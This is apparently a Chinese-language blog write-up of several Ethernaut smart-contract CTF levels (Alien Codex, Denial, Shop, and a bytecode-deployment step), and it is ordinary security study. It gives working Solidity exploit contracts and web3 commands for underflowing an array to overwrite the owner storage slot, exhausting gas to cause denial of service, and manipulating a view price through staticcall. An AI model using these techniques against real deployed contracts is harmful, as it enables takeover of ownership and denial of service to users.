也就是600a600c600039600a6000f3602a60505260206050f3 ,然后怎么使用web3去部署这个合约呢,上面的流程提及到sendTransaction ,就是通过这个函数去构建
var bytecode = "600a600c600039600a6000f3602a60505260206050f3";
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)})
然后可以得到一个链接:Sepolia Transaction Hash (Txhash) Details | Etherscan ,从这里面可以看到通过字节码构建的合约地址:
notion image
然后将solver的地址设置为这个地址即可
notion image
也有大哥是通过assembly关键字去构建的
 
知识点:
  • 如何通过字节码构建新合约
 

Alien Codex

获取合约的所有权
因为在EVM中一般一个slot布局是32字节,如果一个变量没超过32字节,若下一个变量的字节数比剩余字节数少的话,还是会存在于同一个slot里面
在这个合约里面,首先引入了Ownable的合约,这里面存在address private _owner; 变量,地址类型,占用的20字节
然后在当前合约中有一个布尔变量还有一个bytes32类型的数组,是一个动态长度的数组,那么布尔变量就肯定是跟_owner变量处在一个slot上,而下一个slot记录的则是动态数组的长度
通过getStorageAt获取合约的变量内容可获取现在的_owner地址以及布尔变量的值
web3.eth.getStorageAt(contract.address, 0)
//0x00000000000000000000000027bc920e7c426500a0e7d63bb037800a7288abc1
//布尔值 0
//_owner地址:0x27bc920e7c426500a0e7d63bb037800a7288abc1
此时动态数组的长度是为0的,可以通过获取合约内存布局里面的第一个变量查看
web3.eth.getStorageAt(contract.address, 1)
//0000000000000000000000000000000000'
当执行retract()函数的时候,数组的长度会减1,但是执行这个合约的所有函数的时候,需要体检执行make_contact()函数,保证所有修饰器都能通过
function retract() contacted public {
    codex.length--;
  }
执行之后的结果可以发现改出并没有对溢出做任何防护,直接就下溢了,此时数组的长度就变成最大值了,也就是2^256
notion image
又因为内存布局中最大的空间也是2^256个slot(每一个slot占用32字节(256位)),也就是一个合约最多有2^256个存储槽,因此这是对于数组的控制是可以控制整个内存布局的
另外,第二个知识点就是动态数组的实际内容地址实际是可以通过计算得到的,因为这里对应的是内存布局里面的第一个位置是数组,因此codex[0] 的地址则是对1这个数字进行keccak256的计算
keccak256(bytes32(1)) = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
codex[1] 的地址则是在上面的地址基础上加1
因为我们在上面执行了retract() 操作下溢,导致现在的动态数组长度则是最大值2^256,对数组的某个操作能够覆盖掉slot 0的值
可以通过计算获得到达slot 0 的偏移量,用2^256减一下就能够获得偏移值,离codex[0] 大概这么多位置
notion image
然后调用一下revise 设置这个位置的数组值就行,将低20位设置为钱包地址
function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
先扩展钱包地址内容到32字节,也就是64位
notion image
执行revise函数就成功
notion image
漏洞点:
  • 内存布局以及溢出问题结合
 

Denial

这个合约有一个功能就是提现的时候会将%1的钱转给合伙人partner以及合约的owner,这题解决成功的路子就是不让钱转到该合约的owner手里,并且消耗该合约的gas,造成DOS
在提现函数里面对partner转账使用的是call函数,在之前重入攻击的时候学习到该函数是不限制gas的,而且这个合约里面其实也存在重入函数,但是本题主要想考察的是DOS,算是一种思路的扩展吧
当涉及到转账的操作的时候,必定会触发对应的receive/fallback函数,有两种方法可以达到不停消耗gas的效果达到DOS的最终目的
一种是我们可以通过一个循环,来不断消耗gas,从而达到耗尽gas的目的。另外一种方式是,可以使用assert函数,这个函数和require比较像,用来做条件检查,assert的特点是当参数为false时,会消耗掉所有的gas。
exp如下:
contract Hack{
    Denial private immutable target;
    constructor(address _target){
        target = Denial(payable(_target));
    }

    function atttack() external{
        target.setWithdrawPartner(address(this));
        target.withdraw();
    }
    receive() external payable{
        //assert(false); //the first method
        // the second method
        while(true){

        }
    }
}
从触发转账的详细情况就能看见已经out of gas了
notion image
漏洞点:
  • DOS的利用手法→耗光合约的gas
 

Shop

这个题目跟 Elevator有点类似,但是对应的接口多了个view属性,这个属性意味着函数无法修改状态,修改状态指以下这几种情况:
  1. 写状态变量
  1. 触发事件(emit events)
  1. 创建其他合约
  1. 使用selfdestruct
  1. 通过call发送以太币
  1. 使用call调用任何没有被标记为view或者pure的函数
  1. 使用低级的call
  1. 使用包含opcode的内联汇编
这个题目isSold这变量,但是由于直接调用这个变量属于是低级call,因此可以使用staticcall 进行替换,这个函数不会改变状态并且可以在view函数内部使用
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Hack{
address public target;

    constructor(address _addr) public{
        target=_addr;
    }

    function exploit() public  {
        bool b;
        (b,)=target.call{gas:100000}(abi.encodeWithSignature("buy()"));
        require(b);
    }

    function price() external view returns (uint result){
        bytes memory r;
        (,r)=target.staticcall(abi.encodeWithSignature("isSold()"));
        if(uint8(r[31])==0){
            result=1000;
        }else{
            result=1;
        }
        return result;
    }
}
这里说明比较特殊的一点,就是这个uint8(r[31])。因为calldelegatecallstaticcall返回的内容实际上都是bytes memory,而根据题目合约我们知道,这个isSold是一个bool类型的值,为了进行判断我们需要将bytes动态数组转化为对应bool值。比如说,如果bool值为true,它对应的bytes数组实际上是0x0000000000000000000000000000000000000000000000000000000000000001,是一个32字节连续的数组。而我们取数组下标时,实际上是从高位开始取的,也就是说,r[0]是0x00,r[1]也是0x00,直到r[31]才是0x01,而在解析成bool值和数字时,我们又是从低位开始的,所以这里转化的时候我取了r[31]和0做比较,如果为0,说明isSold是false,也就是第一次访问,否则是第二次访问。
 
 
计划暂缓中。。。。。。

© 4me 2021 - 2024